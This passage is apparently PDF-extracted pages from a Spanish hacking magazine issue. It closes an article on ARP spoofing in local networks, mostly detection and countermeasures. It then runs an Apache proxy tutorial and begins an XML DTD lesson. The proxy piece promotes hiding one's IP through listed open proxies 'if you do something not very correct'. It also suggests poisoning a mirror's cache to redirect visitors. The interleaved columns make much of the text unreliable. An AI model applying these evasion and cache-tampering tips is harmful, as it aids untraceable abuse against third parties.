192.168.0.2 (destino no puedo menos que reconocer que “en la máquina 2), de forma que la regla sólo sea simplicidad está el gusto”. PC PASO A PASO Nº 11 Página 49
  • 50. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL La moraleja de este apartado podría ser: Nunca Se introducen en la tabla de forma dinámica en el confíes en la autenticación y el filtrado basado momento en que se necesitan merced a un ARP en IP. reply (generalmente provocado por un ARP request o, como hemos visto, por un arp spoof ). Joder... Casi me olvido. Si hacéis un poco de Las estáticas son entradas fijas definidas por el memoria recordareis que os comenté que usuario. Usaremos el comando arp –s para incluir existía una segunda técnica para evitar que una entrada estática en nuestra caché ARP. nuestras entradas arp falseadas fueran “pisadas” por nuevas peticiones ARP... Una P. Ej, incluyamos una entrada de este tipo en la técnica distinta del spamming. Pues bien, lo tabla de la Máquina DOS que identifique la IP de la prometido es deuda. Lo comentaré ahora de Máquina UNO con su MAC auténtica: forma rápida. arp -s 192.168.0.1 00:04:76:22:3E:AD La idea también es simple: Consiste en rellenar la tabla ARP de la máquina suplantada con (podéis usar arp –a para ver el estado de la tabla los pares de direcciones IP/MAC de todas las tras introducir esta entrada). máquinas de la red. Me refiero a los pares Ahora nos resultaría imposible envenenar la tabla REALES (sin suplantación, salvo para la MAC de la Máquina DOS para suplantar la MAC de la que deseamos suplantar). De esta forma, esta Máquina UNO... ¿Imposible? Quizás no... máquina no necesitará realizar ningún tipo de broadcast ni refrescar su tabla ARP. Este En sistemas basados en UNIX (incluidos Linux u método es más limpio y elegante que el OpenBSD) estas entradas NO se pueden pisar. Por spamming (y más difícil de detectar con lo tanto, configurando nuestras máquinas críticas determinadas herramientas)... Pero tened con entradas IP/MAC estáticas EVITAREMOS el arp cuidado. En redes muy grandes podría resultar spoof (no será posible envenenar la caché porque un tanto “costoso”. las entradas NO podrán ser “pisadas”). Existe una utilidad en Internet que realiza este Sin embargo, se ha detectado que en máquinas trabajo por nosotros... arp-fillup. Encontré Windows esto no es así. Es posible “pisar” o modificar esta herramienta cuando estaba indagando las entradas estáticas, con lo que el envenenamiento arp seguiría siendo viable. acerca del IP Spoofing basado en arp spoofing... Y en el mismo artículo. 2.- Aparte de este método, la única otra opción que conozco consiste en la detección. Se puede detectar 8.- CONTRAMEDIDAS. el spamming de ARP reply o la “tormenta de ack”. Ha llegado la hora de preguntarnos como podemos Existen varias herramientas que, además de permitir evitar ataques de arp spoofing en nuestra red... realizar un arp spoof, también son capaces de Pues bien, los administradores estamos de suerte. detectar este tipo de tráfico... Algunas de ellas ya Existen varias formas de detectar ataques que las hemos mencionado (releer hacia atrás y probad impliquen un arp spoofing. Veamos algunas. a fondo otras herramientas que os comenté). 1.- La única manera que conozco de intentar EVITAR 3.- Siguiendo con la detección, podremos usar un el arp-spoofing consiste en mantener entradas programa como Arpwatch. Arpwatch es un programa estáticas en la tabla ARP. Ha llegado el momento gratuito para sistemas UNIX (y UNIX Style como de comentar que en la tabla caché de ARP pueden Linux) que monitoriza la red ethernet buscando convivir dos tipos de entradas: Dinámicas y Estáticas. tráfico arp-replay y creando una Base de Datos con pares de direcciones IP/MAC. Cuando detecta un Las dinámicas son las que hemos visto hasta ahora. Página 50 PC PASO A PASO Nº 11
  • 51. INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL cambio en uno de estos pares, envía un correo al De lo contrario se podrían descartar paquetes administrador. Sin embargo, en redes que importantes. usen DHCP, pueden darse falsos positivos de forma habitual... Algunos programas son más 3.- Cuanta mayor sea vuestra potencia de proceso susceptibles que otros de ser detectados por mejor. Vuestra máquina deberá realizar bastantes Arpwatch, pero en general me ha parecido una operaciones de rutado, esnifado, encriptación (caso herramienta excelente de la que es conveniente de webmitm o sshmitm), etc... necesitareis cuanta disponer. mas potencia mejor para que la sobrecarga de vuestra máquina no afecte al rendimiento de la red. 4.- Algunos firewalls modernos pueden detectar que la máquina en la que están instalados está 4.- Aunque es posible, yo no trataría de envenenar siendo víctima de un posible ataque de arp spoofing más de dos máquinas. Podemos envenenar toda (fundamentalmente debido al spamming de ARP una red y hacer que todo el tráfico pase a través reply). Ciertamente, en condiciones de tráfico de de nosotros... ¿Para qué? Lo único que conseguiréis red intensas también pueden dar falsos positivos. será colapsar la red, dar el cante y perder muchos El uso de DHCP tampoco ayuda... de los paquetes que circulen a través de vosotros... Es mucho más efectivo un ataque “selectivo” como 5.- Finalmente, la solución definitiva contra este los descritos en este artículo (creo que alguno en tipo de ataques (y en general contra cualquier tipo el foro ya ha tenido algún sustillo al respecto usando de intrusión en redes) consiste en mantener cifrado el Caín, si mal no recuerdo :) el tráfico de red. Sin embargo, no es algo habitual debido a la sobrecarga que supone y a lo complejo 5.- El arp spoofing es una técnica válida tanto para y costoso de su implantación y administración. redes compartidas (hubs) como conmutadas (switches). Existe la creencia generalizada de que No hay, que yo sepa, una solución universal y fiable el arp spoof sólo es válido y necesario en redes contra el arp spoofing... Pero debemos poner todos conmutadas... Falso. Esta creencia se debe a una los medios que estén a nuestro alcance para tratar visión minimalista de la intrusión en redes. Es cierto de detectarlo. Las consecuencias de no hacerlo, de que no necesitareis realizar un arp spoofing para las cuales hemos visto algunos ejemplos, pueden esnifar contraseñas en una red compartida (hubs)... ser desastrosas. Pero si deseáis realizar un ataque basado en webmitm o aplicar la técnica de IP Spoofing aquí explicada, necesitareis usar el arp spoofing sea la red conmutada 9.- FINALIZANDO. o no. La intrusión en redes es MUCHO MÁS que el Y, como todo en esta vida, ha llegado el final. Pero esnifado de contraseñas. no quisiera despedirme sin antes daros algunos consejos en caso de que deseéis probar estas 6.- El uso de sniffers, la intercepción de correo, la técnicas (u otras similares) en una red. intrusión en conexiones SSL y la suplantación de IP es, en la mayoría de las redes, una práctica ilegal. 1.- Utilizad, si podéis, una red “de laboratorio”. Es El que avisa no es traidor... decir, una red controlada por vosotros en la que no exista tráfico “real” de otros usuarios. Los riesgos Y... Hasta el próximo artículo (si lo hay, porque de obtener información confidencial son... muy después de este rollo igual no me dejan ni entrar elevados. En caso de no poder usar una red de en Wadalbertia (visitad el foro los que no sabéis de laboratorio, mi consejo es que AVISEIS de que vais que va esto ;) ). a trastear con estas cosas... Avisados estáis. 2.- Procurad que vuestra interfaz de red (tarjeta) Saludos. sea lo más eficiente posible, y NUNCA de velocidad inferior a la de las máquinas que vais a suplantar. PC PASO A PASO Nº 11 Página 51
  • 52. apache Parte v: Configura tu servidor APACHE como Servidor Proxy - El Servidor de Páginas Web APACHE es mucho más que eso: Vamos a transformar APACHE en un Proxy. - Repasaremos conceptos ya tocados en anteriores números y asentaremos conocimientos. Bienvenidos de nuevo. En este número vamos a que el propietario del Proxy puede conocer a donde explicaros como convertir el servidor Apache en un te conectas, y esto quiere decir que pueden averiguar servidor Proxy- Cache, ¿no sabíais que el servidor tus preferencias (entre otras cosas). Apache puede realizar otras funciones diferentes a servidor web?. Con este capítulo aprenderemos el Sigamos… un servidor Proxy puede almacenar en funcionamiento de un servidor Proxy sin necesidad su disco duro cada una de las páginas solicitadas, de tener que instalar ningún otro programa, todo a esto se le llama caché (similar a la caché de los gracias al “todopoderoso” Apache. Conocer el navegadores web) , con lo que se ahorra tener que funcionamiento un servidor Proxy te aportará un mantener la conexión con el servidor lejano. En vez mayor conocimiento de redes, piensa que la mayoría de eso, los datos que se sirven son los que se de las empresas disponen de servidores proxy para encuentran en la memoria del servidor Proxy. ¿Qué dar acceso a Internet a los trabajadores;) queremos decir?, pues que si te conectas a www.hackxrack.com (o cualquier otra Web) desde 1. Que es un servidor Proxy. ADSL puede que la página que te aparezca en el navegador no sea real, ya que el servidor Proxy te habrá mandado una antigua, no te preocupes, se Lo primero que tienes que saber es que, un Proxy, supone que los servidores Proxy están bien es un servidor que puede estar funcionando en un configurados para evitar estos problemas. ordenador como el tuyo, sin necesidad de potentes Desgraciadamente algunas veces no es así, solo hace servidores como muchas empresas se empeñan. falta leer las noticias relacionadas con el tema para Si tienes una conexión ADSL sabrás que algunos averiguar que incluso la Seguridad Social del Estado proveedores de telefonía e Internet ha instalado “solicitó” en su día a Telefónica que desactivase el unos servidores Proxy, ¿qué quiere decir esto?, que Proxy debido a los grabes problemas de comunicación cuando solicitas una URL, el servidor PROXY registra que estaba causando. tu solicitud y busca el recurso solicitado para atender tu petición. Como te habrás dado cuenta, el servidor Es necesario que sepas que los servidores Proxy Proxy se encuentra entre tu ordenador y el servidor ofrecen ventajas a los webmasters (si el servidor web al que te conectas. proxy está bien configurado), además si utilizas un servidor proxy para conectarte a Internet puedes U n e j e m p l o, s i utilizar la IP del proxy para ser “anónimo” en tus tienes ADSL y te hazañas. Sigue leyendo y verás ... conectas a www. hackxcrack.com lo primero que hará tu 2. Un poco de culturilla antes de n ave g a d o r s e r á empezar ... conectarse al proxy, este se conectará a Hay dos tipos de servidores Proxy: los directos y los inversos. www.hackxcrack.com y luego te enviará la página solicitada. Como estarás pensando, la empresa Un servidor proxy directo se encuentra dentro propietaria del proxy (por no decir el nombre de la del ámbito del usuario (en tu casa u oficina), si tienes empresa) puede registrar a dónde te conectas y varios ordenadores y una única conexión a Internet conocer tus preferencias, y te estarás preguntando puedes instalar un servidor Proxy para dar acceso ¿pero entonces la privacidad en Internet se pierde?, a toda tu red, a este tipo de proxys se les llama bueno, pues no se que decirte, simplemente digo directos. La mayoría de las empresas tienen Página 52 PC PASO A PASO Nº 11
  • 53. APACHE como Servidor Proxy - APACHE como Servidor Proxy - APACHE como Servidor Proxy servidores directos para ahorrar costes en contratar servidores Proxy-Cache de ADSL en España (no varias conexiones, lo normal es contratar una línea quiero nombrar la empresa que ya todos conocemos), y compartirla instalando un servidor Proxy. el navegante no se da cuenta que existe un servidor Proxy entre su ordenador y el servidor destino. El Visto desde el exterior, si alguien intenta conectarse usuario creerá que está accediendo directamente al a tu Red (suponiendo que tengas una ip fija), lo servidor solicitado. primero que se encontrará será un router y luego posiblemente un proxy (aunque el router puede En teoría, si la compañía que te ofrece acceso a hacer la función de proxy). Internet (ISP) te “impone” un Proxy-Cache, tu conexión a Internet debería funcionar más rápido, puesto que tu ISP no se conectará a Internet para servirte una página, sino que te servirá directamente la que tiene “guardada” en su caché. La realidad ya es otra cosa, está comprobado que esa “ganancia” que obtiene un usuario es tan “sutil” como inútil a efectos reales. Lo que en realidad obtiene el usuario es un mal funcionamiento a la hora de visualizar páginas y quien sale realmente beneficiado es el ISP, que consume menos ancho de banda en sus conexiones exteriores y a final de mes paga menos por sus conexiones (siempre nos toca recibir a los mismos, pobres usuarios). 3. ¿Para qué puedes necesitar un servidor Proxy? Básicamente puedes utilizar los servidores Proxy Las empresas suelen tener el siguiente esquema para dos cosas: para dar servicio de Internet a los trabajadores: A este tipo de servidor también se le conoce como · Dar acceso a Internet a una red interna, servidor proxy de caché, ya que guarda una copia es decir, si tienes varios ordenadores y una única de cada página visitada. El departamento de recursos conexión, puedes dar salida a Internet a todos ellos. humanos de las empresas han encontrado un nuevo Para esto tienes que instalar y configurar un servidor filón para justificar los despidos, ahora instalan un Proxy. servidor Proxy-Cache y registran todos los accesos · Utilizar un servidor Proxy para ser anónimo de los trabajadores, luego, cuando quieren despedir en Internet. En este caso no tienes que instalar nada a un trabajador (por los motivos que sea) miran a en tu ordenador, más adelante verás como hacerlo. dónde se conectó buscan “algo” que justifique el despido. Imagina que trabajas en una consultora de desarrollo web y que necesitas buscar información Al utilizar un servidor Proxy podrás aprovechar las sobre servidores para realizar un proyecto y que siguientes ventajas: unas de las páginas con información válida abre un popup porno, pues tendrán justificación para · Si tienes una red interna (intranet) y una despedirte pues según ellos te habrás conectado a conexión, puedes utilizar el servidor Proxy para que una web porno en horas de trabajo. Conozco todos los ordenadores de la red puedan conectarse algunos casos reales de trabajadores que por buscar a Internet. información y estar presentes popup pornos fueron despedidos. Desgraciadamente, esas noticias no · Si configuras el servidor Proxy con Caché salen en la tele :( **España prefiere el Hotel Glam podrás acceder a los recursos de Internet con más y “cosas” parecidas ;p velocidad, ya que las páginas estarán almacenadas en la caché del proxy y optimizará el ancho de banda El servidor Proxy inverso se encuentra frente a de la conexión. un recurso de Internet. En este tipo de configuración, el servidor proxy inverso recupera las peticiones · Podrás registrar los accesos de cada uno provenientes del servidor original y las devuelve al de los navegantes que trabajan en la red y luego host del usuario. echarles por cara que se conectan a páginas porno. Un claro ejemplo de servidor Proxy inverso son los ¡¡toma privacidad!!. PC PASO A PASO Nº 11 Página 53
  • 54. APACHE como Servidor Proxy - APACHE como Servidor Proxy - APACHE como Servidor Proxy # ("Full" adds the server version; "Block" removes all outgoing Via: headers) ! En números... # Set to one of: Off | On | Full | Block # # ProxyVia On En números anteriores de PC PASO A PASO ya hemos explicado y profundizado sobre todo lo relacionado con # # To enable the cache as well, edit and uncomment the following lines: los proxys, en su momento aprendimos incluso a crear # (no cacheing without CacheRoot) cadenas de proxys para conseguir un anonimato decente # # C a c h e Ro o t " C : / a p a c h e / A p a c h e / p r o x y " a la hora de navegar por la red. En este artículo tocaremos # CacheSize 5 de nuevo el tema para que quienes no han leído los números # CacheGcInterval 4 anteriores puedan seguir la práctica, pero no # CacheMaxExpire 24 profundizaremos en el tema (eso ya lo hicimos). # CacheLastModifiedFactor 0.1 # CacheDefaultExpire 1 # NoCache a-domain.com another-domain.edu joes.garage-sale.com # </IfModule> 4. Preparar Apache como servidor Proxy Vamos a comentar de manera breve las directrices del módulo Proxy. Vamos a lo que nos interesa. En los capítulos anteriores hemos utilizado Apache como servidor ProxyRequest On | Off Web, ahora vamos a configurarlo como servidor Esta directriz activa o desactiva el servicio de proxy Proxy. Apache es conocido como Servidor Web pero caché. Así que para hacer funcionar el servicio de no debemos ignorar que también funciona como proxy caché tienes que poner ProxyRequest On servidor Proxy. ProxyRemote El servidor proxy con el que puede trabajar Apache Esta directriz permite que el servidor proxy interactúe se encuentra dentro del módulo mod_proxy. Por con otro. defecto no está configurado. Hay que destacar que Por ejemplo, si colocamos ProxtRemote el proxy de Apache solo funciona como proxy directo, http://www.hackxcrack.com aunque parece que muy pronto estará la versión http://proxy.unejemplo.com:8000, de esta inversa. forma cuando nuestro servidor proxy detecte que tienes intención de conectar a la web Lo primero que hay que hacer es abrir el fichero de www.hackxcrack.com lo que realmente hará será configuración httpd.conf y activar el módulo conectar con el proxy remoto. mod_proxy, simplemente quieta la almohadilla en AddModule mod_proxy.c y LoadModule ¿se te ocurre alguna idea con esto?, pues puedes proxy_module modules/mod_proxy.so, en ocultar tu IP si no deseas dejar rastro cuando te capítulos anteriores se ha explicado detalladamente conectes a www.hackxcrack.com ya que el servidor como poner en marcha los módulos de Apache. Ya destino registrará la IP del último servidor Proxy (en tienes cargado en memoria el módulo que hace la este caso http://proxy.unejemplo.com:8000). Esto función de Proxy, ahora toca configurarlo, para ello no ocurre siempre, algunos proxy transmiten la ip sigue cambiando directrices del archivo de origen de manera oculta y este dato puede ser configuración. consultado, eso lo veremos en otros números, en anteriores números ya explicamos esto :) En el fichero de configuración encontrarás las siguientes directrices: Para que todas las peticiones que se realicen en la red sean redirigidas a otro proxy, simplemente hay #<IfModule mod_proxy.c> que poner un asterisco: # ProxyRequests On ProxyRemote * http://proxy .unejemplo.com:8000 # <Directory proxy:*> ProxyPass # Order deny,allow # Deny from all Esta directriz permite convertir el árbol de documentos # Allow from dominio.com de un servidor web en el de su servidor proxy. La # </Directory> aplicación de esta directriz es muy curiosa ya que # # Enable/disable the handling of HTTP/1.1 "Via:" headers. permite crear mirror, más adelante haremos una Página 54 PC PASO A PASO Nº 11
  • 55. APACHE como Servidor Proxy - APACHE como Servidor Proxy - APACHE como Servidor Proxy práctica de cómo crear un mirror de vuestro sitio Por ejemplo para una giga de caché: CacheSize web. 1000000 Un ejemplo de esta directriz es: ProxyPass /hackxcrack/ www.hackxcrack.com CacheMaxExpire Suponiendo que el servidor proxy tenga la IP: El proxy caché Apache permite ir borrando cada 10.0.0.1, se puede poner la siguiente url para acceder cierto tiempo los archivos, podemos especificar el a los contenidos de hackxcrack camuflando el tiempo (en horas) que transcurre hasta que caducan dominio: http://10.0.0.1/hackxcrack/, de esta forma los archivos. tan sencilla se puede acceder a otro dominio camuflando el dominio destino. Por ejemplo: CacheMaxExpire 48 ¿Cómo funciona el proxy para que pueda camuflar Con este ejemplo los documentos expirarán en un el dominio?, como ya se ha comentado el proxy plazo de 48 horas. hace de puente entre el servidor remoto y el navegador del cliente, cuando este último se conecta Existen más directrices pero conocer el funcionamiento a una url, el proxy es realmente el que se conecta, de estas es suficiente para hacer funcionar el servidor se baja la página, la guarda en su cache y luego la Proxy caché de Apache. envía al cliente que solicitó la url. La configuración tiene que ir dentro de <Directory ProxyBlock >, cuyo aspecto es: <Directory proxy:*> Esta directriz bloquea el acceso a un host o dominio. directrices Es de gran utilidad para los administradores de </Directory> sistemas que no quieren que los trabajadores se conecten a páginas de crack, warez, porno desde 5. Primera práctica – Crear un proxy la empresa. con caché Por ejemplo: Ya sabes las directrices para configurar un servidor ProxyBlock porno astalavista.com microsoft.com Proxy caché, así que la primera práctica será crear precisamente eso “un servidor proxy caché”. Este ejemplo no permite visitar los dominios que tengan la palabra porno, el dominio y microsoft.com Es importante recordar que un servidor Proxy caché guarda en el disco las páginas estáticas y no las Y para bloquear todas las conexiones ha que poner dinámicas, por ejemplo guarda gif, jpg, , html, htm un asterisco, por ejemplo, ProxyBlock * pero no guarda PHP, ASP, ... CacheRoot Se va a crear la configuración de un servidor Proxy con caché que guarde una copia en el directorio Esta directriz permite activar la caché en disco. Hay c:apacheproxy, que pueda almacenas hasta 4 que indicar el nombre del directorio en el que se megas en el directorio y que cada 24 horas borre la desea guardar la copia de archivos. caché. La configuración es: Por ejemplo: CacheRoot C:/apache/proxy/cache <Directory proxy:*> CacheRoot c:apacheproxy Si se está utilizando el servidor Proxy y se mira el CacheSize 4096 directorio especificado en CacheRoot se encontrarán CacheMaxExpire 24 todos archivos a los que se han conectado los </Directory> usuarios de red. 6. Segunda práctica – Hacer un mirror CacheSize de un sitio web Esta directriz permite especificar la cantidad de Cuando navegas por internet y quieres bajarte un espacio en disco (en K) que se utilizará para archivo muchas veces te preguntan el mirror que almacenar los archivos en caché. Por defecto es de deseas para realizar la descarga, realmente un mirror 5K, un valor muy pequeño. es una copia de un sistema web remoto. PC PASO A PASO Nº 11 Página 55
  • 56. APACHE como Servidor Proxy - APACHE como Servidor Proxy - APACHE como Servidor Proxy encuentras en Crea un mirror de hackxcrack, para ello pon las Herramientas siguientes directrices: mira en Ver), Opciones de ProxyPass / www.hackxcrack.com/ internet. CacheRoot “C:apacheproxy” Paso 2. CacheDefaultExpire 24 Seleccionar la p e s t a ñ a De esta forma tan sencilla el servidor Proxy guarda Conexión. en disco cada página que se visite de hackxcrack.com, cuando alguien de tu red se conecte a hackxcrack Paso 3. verá que la descarga es mucho más rápida pero Pinchar en serán páginas guardadas en el servidor proxy, Configuración realmente el usuario no se habrá conectado a LAN. www.hackxcrack.com. Paso 4. Esto de los mirror es interesante, pero hay que Seleccionar tener cuidado, ya que muchas páginas tienen Usar servidor copyright. Proxy y poner la dirección Piensa por un momento que haces un mirror de del proxy una página Web (por ejemplo una empresa que os junto con el puerto 8080. caiga muy mal) y publicáis la IP de vuestro proxy para que otros navegantes se conecten a Internet P a r a utilizando TU Proxy, puedes manipular las páginas especificar un guardadas en la caché del proxy (en tu disco duro), servidor Proxy por ejemplo se puede crear una redirección a una diferente para web porno. Sencillamente los navegantes conectados cada puerto, al Proxy verán las páginas del mirror y serán se puede redireccionados a la web porno en vez de ir a la utilizar el web correcta. b o t ó n Opciones Imagina que a un proveedor de acceso a Internet avanzadas, que utiliza los servidores Proxy para las conexiones con lo que ADSL, le diera por mostrar contenidos eróticos aparecerá otro cuando los navegantes pusieran dominios de la cuadro de competencia (pues esas cosas pueden ocurrir). Ya diálogo como sabes, busca un proxy-caché e intentar cambiar su aparece en la caché. Es difícil pero no imposible :) Os adelanto imagen. que estamos preparando un articulo sobre cómo cambiar el contenido de la cache de algunos servidores Proxy de manera remota, será divertido, pero primero tienes que practicar con tu propio ! En anteriores... Proxy. En anteriores números ya explicamos todo esto de forma 7. Configurar el navegador para más detallada, si tienes problemas visita nuestro foro en navegar conectado a un proxy www.hackxcrack.com y pregunta al resto de lectores, ten Para que cualquier navegante de la red pueda por seguro que te ayudarán con este tema :) conectarse a Internet utilizando una única conexión y estando ésta gestionada por un Proxy-Cache, es necesario configurar correctamente el navegador. Vamos a configurar el Internet Explorer para que 8. Navegar anónimo por internet se conecte a un Proxy Directo. Hemos aprendido a configurar nuestro propio servidor Paso 1. Hacer clic en Herramientas (si no lo Proxy y cómo funcionan estos servidores, ahora Página 56 PC PASO A PASO Nº 11
  • 57. APACHE como Servidor Proxy - APACHE como Servidor Proxy - APACHE como Servidor Proxy vamos a utilizarlos para navegar de manera anónima p o r I n t e r n e t . Va m o s a c o n e c t a r n o s a www.hackxcrack.com a través de un proxy japonés, de esta forma el webmaster de hacxcrack.com obtendrá la IP del servidor japonés y no la IP real (algunos proxy si que transmiten la IP real, lee los números anteriores). ¿De donde podemos obtener una buena lista de servidor Proxy que nos permitan conectarnos y poder navegar con sus Ips?, la siguiente url es un listado de más de 488000 proxy de todo el mundo que nos darán acceso anónimo. http://www.atomintersoft.com/products/alive- proxy/proxy-list/ Ya podemos navegar tranquilos desde Japón, y si algo pasa pues que llamen a aquellos lugares a ver si se entienden. Si os animáis a montar vuestro propio Proxy podéis dejar la IP en el foro de hackxcrack.com para que los demás podamos navegar con tu IP, la verdad es que no es muy aconsejable pero a modo de práctica no estaría mal. 9. Conéctate al IRC de manera anónima También existen proxys que permiten la conexión a los servidores IRC para que podamos chatear de manera anónima, la siguiente lista son servidores Proxy para IRC: Nuestra intención es buscar un proxy japonés. De esta manera podéis navegar por Internet como si 202.155.131.230:3128 estuvierais conectados desde Japón, si hacéis algo 217.167.141.17:8080 no muy correcto, pues que llamen a Japón ¿no?, por lo menos algo difícil si que se lo ponéis. 202.155.32.51:3128 213.194.100.130:8080 Nos conectamos a la url anterior y pinchamos en 202.68.143.122:8080 JP PROXY (Japan National domain) para obtener 80.73.71.30:3128 una lista de proxy japoneses, lógicamente podemos 212.11.163.117:80 probar con otros proxys, pero a modo de práctica 213.84.44.172:3128 vamos a utilizar uno japonés. 203.144.75.18:8080 212.33.168.229:80 Configurar vuestro navegador, siguiendo las instrucciones anteriores, con la IP del proxy (por Puedes encontrar una lista actualizada en ejemplo: 219.166.8.66, puerto 8080, si veis que no http://www.proxyblind.org/list.shtml#4. funciona probar con otro). ¿cómo podemos estar seguros de que nos estamos conectando al proxy Ahora vamos a configurar el Mirc para conectarnos japonés?, de la forma más sencilla, hacemos una de manera anónima. visita a google.com y nos redirige a una web japonesa, ¡¡aparece el google en japonés!!. PC PASO A PASO Nº 11 Página 57
  • 58. APACHE como Servidor Proxy - APACHE como Servidor Proxy - APACHE como Servidor Proxy Paso 1. Selecciona Firewall de la lista desplegable Connect Paso 2. En la opción Firewall Support selecciona PERSONALIZATUMOVIL PERSONALIZATUMOVILMOVIL PERSONALIZATUMOVILTU MOVIL PERSONALIZATUMOVIL MOVIL TUMOVIL PERSONALIZATUMOVILMOVIL PERSONALIZATUMOVILMOVIL PERSONALIZATUMOVILTUMOVIL PERSONALIZATU MOVILMOVIL PERSONALIZATUMOVILMOVIL TUMOVIL PERSONALIZATUMOVILMOVIL PERSONALIZATU TUMOVIL PERSONALIZATUMOVIL MOVIL MOVIL MOVIL MOVIL PERSONALIZA TUMOVIL MOVIL MOVIL PERSONALIZATU MOVIL MOVIL “Both” para que tanto el servicio IRC como el PERSONALIZA PERSONALIZA PERSONALIZATU MOVIL MOVIL TU MOVIL PERSONALIZA TU MOVIL PERSONALIZA TU MOVIL protocolo DCC de transmisión de ficheros sea anónimo. Paso 3. En protocol selecciona “Proxy”. Paso 4. En hostname ponemos la IP del Proxy, en este ejemplo 212.11.163.117 que se encuentra en Arabia Saudí. ¿Qué quiere decir esto?, pues que todos mensajes que nos lleguen o enviemos van a pasar por Arabia Saudí. Si alguien intenta averiguar nuestra IP en el IRC le aparecerá la IP del Proxy, es decir, una IP de Arabia Saudí. Paso 5. Según el listado anterior el puerto de este proxy es 80, así que en el cuadro de texto que nos HAY MUCHOS MAS EN http://pclog.buscalogos.com/ EL GANADOR DEL solicita el puerto colocamos 80. SORTEO DE UN SUSE Conclusión LINUX 8.2 DEL MES DE En este capítulo hemos aprendido a instalar y configurar nuestro propio servidor Proxy-Cache gracias al servidor Apache, hemos aprendido algo MAYO ES: más sobre redes, a navegar de forma “anónima” (para ampliar lee los números anteriores), a Angel Olivera Creu conectarnos al IRC por proxy y todo ello de la forma sencilla, sin necesidad de instalar aplicaciones. Salamanca SEGUIR LLAMANDO, EL PROXIMO David C.M PODRIA SER PARA TI (PAG 27) Página 58 PC PASO A PASO Nº 11
  • 59. VALIDACIoN DE DOCUMENTOS XML: DTD Primera parte: Creacion de DTDs Por Joaquim Roca Verges - xml segunda entrega - Supongo que estás ansioso por descubrir todas las posibilidades del XML, pero antes tendrás que estudiar los DTD. Es imprescindible su estudio para poder avanzar en lo que ya es un estándar universal: XML En el primer capitulo del curso pudimos QUE SON LAS DTD (Document Type comprobar lo fácil que era crear un documento Definition) xml y explicamos lo imprescindible para que un documento xml fuese considerado como un Son archivos de texto plano que podéis crear documento “bien formado”. Ahora bien, el que con el notepad o cualquier otro editor de texto esté bien formado, no significa que sea válido. ASCII que sirven para aseguraros de que un documento xml sigue un determinado conjunto ¿Como saber si un documento es válido, si un de reglas. Esto es os aseguráis que un xml se ajusta a unas reglas documento xml va a tener un determinado determinadas?¿Quien dictamina esas reglas? formato para que una aplicación pueda trabajar con el. Muy fácil, sabremos que un documento es válido si se valida contra un DTD, si se ajusta Veámoslo con un ejemplo: Supongamos que a un DTD, si cumple las reglas de un DTD que tengo una empresa MIEMPRESA S.A., que nos hemos creado...NOSOTROS. dedicamos a desarrollo de software, y somos tan buenos que el trabajo nos desborda. En ¿No es fantástico esto? No solo es fácil de crear determinados momentos pasamos algo de , sino que encima, las reglas las podemos nuestro trabajo a EMPRESACOLABORA S.A. Hoy establecer nosotros. tenemos procesar una serie de datos que nos llegan en forma de documento xml y no tenemos tiempo así que le remitimos el trabajo a EMPRESACOLABORA S.A. y le encargamos que ! Importante... nos procese un sistema de compra-venta. Importante: En el número anterior pudimos ver un ejemplo Cuando un documento xml tiene un dtd de archivo XML que abrimos desde el Internet Explorer asociado, tiene que seguir las reglas del dtd, e incluso hicimos un ejemplo de manipulación de archivos por lo tanto , le enviamos el dtd y ellos , en XML mediante Visual Basic. cuanto lo lean, sabrán que cliente va a estar anidado dentro de orden de compra , es decir, Supongo que estarás ansioso por VISUALIZAR y que todos los datos xml que nos lleguen van a UTILIZAR XML, pero lo primero es lo primero. Lo que tener el formato: aprenderás en este artículo es IMPRESCINDIBLE para avanzar en XML, pero te parecerá menos “práctico” que <ORDEN_DE_COMPRA> el número anterior. Esta sensación desaparecerá cuando en <CLIENTE>Joaquim Roca</CLIENTE> los próximos artículos aprendas a manipular los documentos </ORDEN_DE_COMPRA> XML... tiempo al tiempo... ;) Etc. PC PASO A PASO Nº 11 Página 59
  • 60. VALIDACIoN DE DOCUMENTOS XML - DTD - VALIDACIoN DE DOCUMENTOS XML - DTD Y todo ello lo sabrán interpretando un solo Solamente MIEMPRESA S.A. y documento: el DTD, que es el esqueleto de las EMPRESACOLABORA S.A., no N ( se llama N a un numero indeterminado, nos interesa que acceda a el por ejemplo, mañana tomaran ginebra en el nadie mas. Café Gijón N clientes) ordenes de compra que lleguen, o sea el esqueleto de los n documentos Cuando utilicemos un DTD externo, deberemos xml que vayan a llegar. Y ese esqueleto tiene cambiar la declaración xml (explicado en el una serie de reglas que cada uno de los xml número 10 de PC PASO A PASO): asociados debe cumplir y que nos permite saber que CLIENTE está anidado dentro de <?xml version=“1.0” standalone=”no”?> ORDEN_DE_COMPRA Fijaros que el ultimo dato que incluimos en la XML VÁLIDO declaración es el de que standalone=”no”, que no es un documento standalone. Esto Decimos que un documento xml es válido, significa que no es un documento autosuficiente, cuando se ha validado contra un DTD y el DTD que necesita de un DTD externo para validarse. lo ha dado por bueno, es decir que el DTD ha visto que el documento xml cumplía sus reglas. Sin embargo, cuando utilicemos un DTD interno, la declaración xml será: TIPOS DE DTDs <?xml version=“1.0” standalone=”yes”?> Los documentos DTD pueden ser de dos tipos: Y será standalone = yes porque aunque 1. Interno estemos utilizando un DTD, este DTD es interno, Es un DTD que está definido y tanto el código del DTD, como el del xml dentro de un documento xml están en el mismo documento, por tanto para 2. Externo validarse, el documento xml se vale por si solo. Es un DTD que no está definido Es autosuficiente. dentro de un documento xml, es decir que para validar un 1. DTDs INTERNOS documento xml se necesitan dos archivos., el documento La declaración de un DTD interno es la siguiente: xml y el documento DTD. Los documentos Externos pueden <!DOCTYPE nombre_elemento_raiz [asignaciones]> ser de dos tipos a. Público La declaración empieza con signo de Serían los DTD accesibles por interrogación y la palabra clave DOCTYPE todo el mundo (!DOCTYPE) seguida de el elemento raíz del b. No Público documento. Normalmente , después del Accesibles solamente por la nombre_elemento_raiz viene el símbolo ( [ ) gente que los ha creado. El y las asignaciones, que como suelen ser varias, ejemplo que hemos puesto suelen escribirse en diferentes líneas. La última antes, podría ser un DTD entrada de la declaración es siempre el símbolo EXTERNO de acceso NO ( ] ) . Todo ello , por supuesto incluido dentro PÚBLICO, porque ¿Quien de los símbolos < >. Ahora veremos el ejemplo debería acceder a el? y te quedará mas claro :) Página 60 PC PASO A PASO Nº 11
